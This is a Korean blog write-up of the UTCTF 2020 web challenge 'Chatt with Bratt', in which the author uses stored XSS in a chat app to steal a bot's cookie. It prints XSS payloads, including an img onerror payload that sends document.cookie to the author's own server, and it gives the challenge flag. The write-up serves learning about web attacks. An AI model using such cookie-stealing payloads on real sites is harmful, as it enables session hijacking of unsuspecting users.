SDJ( 수돈재 아님 ㅎ )

utctf 2020 - Chatt with Bratt 본문

write-up/web

utctf 2020 - Chatt with Bratt

ShinDongJun 2020. 3. 9. 20:21

웹 취약점 공부하는데도 흥미가 있어서 CTF 끝나기 막바지에 한번 도전해 봤지만.. 아쉽게 이 문제는 풀지 못했다.

그래도 내가 했던데까지 정리해보고 나머지 부분은 다른 사람들의 라업을 보고 보충하기 위해 글을 쓴다.

 

다행히 ctf 서버가 닫혀있지 않아서 더 시도할 수 있었다. 압도적 감사!

 

먼저 내가 시도한 것을 써보고자 한다.

 

채팅과 비슷한 환경이 주어져 있길래

HI <script>alert(1)</script>

 

 

이렇게 입력을 했는데 뒤에 태그가 사라지는 것을 보고 XSS인것을 직감했다.

그리고 쿠키를 보면 secret이라는 쿠키가 있는데 이 부분이 수상하게 느껴졌다.

 

그래서 stored XSS를 통해 bratt의 cookie의 값을 가져오고자 하여 GCP에 접속하여 다음과 같이 코드를 짰다.

aaaa.php

 

세션을 실행시키고 접속을 시키니 잘 적히더라!

 

그래서 이것을 가지고 채팅을 하려고 보냈는데.. 말을 안듣는다...

 

<script>가 너무 기초(?)적인 탓에 먹히지 않았던건가..

<img name='i' width='100' height='100'>
<script>i.src="http://내주소/aaaa.php?cookie="+document.cookie</script>

위와같이 써서 보내봤다.

 

저렇게 사진이 뜨고 답장이 와서 적혀있겠거니 했는데 아무것도 적혀있지 않았다..

 

왜그런지 모르겠지만.. XSS script가 먹히지 않은 모양이다.

 

라업을 보고온 지금 XSS를 하거든 나도 스크립트가 먹혀야지 그것이 적용이 되는듯 싶다. ( alert를 했을 때 무언가가 떠야지 XSS가 가능해진다 ? 이런 느낌 )

<script>만 쓸 경우 해당 코드만 적용되는듯 ??? 잘 모르겠다.. 어딘가에 우회하는 뭔가가 있는걸까..

 

 

그래서 XSS에 대한 글을 더 찾아보니 img태그의 onerror도 사용하길래

그래서 나도 img태그를 사용하려고 다음과 같이 코드를 짜봤다.

<img onerror=alert(1) src=""></img>

그리고 이 코드를 Chatt에 올렸더니

 

XSS가 됐다. <script>와는 다르게 이렇게 떠야지 XSS가 먹히나보다...

그래서 onerror를 더 고쳐서

<img onerror="this.src='http://[내 URL]/aaaa.php?cookie='+document.cookie" src=""></img>

과 같이 만들었고, 이것을 채팅으로 올리고나서 기다리니

 

 

XSS가 성공했다.

 

Web풀때 처음으로 방향이 맞는거같아서 오래 잡았는데 못풀어서 좀 아쉽다. 

XSS에 대한 아주 기초적인 문제라서 풀고자하는 의욕이 더 있었던거같은데...

나중에 웬만한 필터링도 우회하는 수준이 될 수 있게 공부해야겠다.

 

FLAG : utflag{95debad95cfb106081f33ceadc36bf9c}

'write-up > web' 카테고리의 다른 글

ASISctf 2020 Quals - Web Warm-up  (0) 2020.07.06
CONFidence 2020 CTF - Hidden flag  (0) 2020.03.23
Comments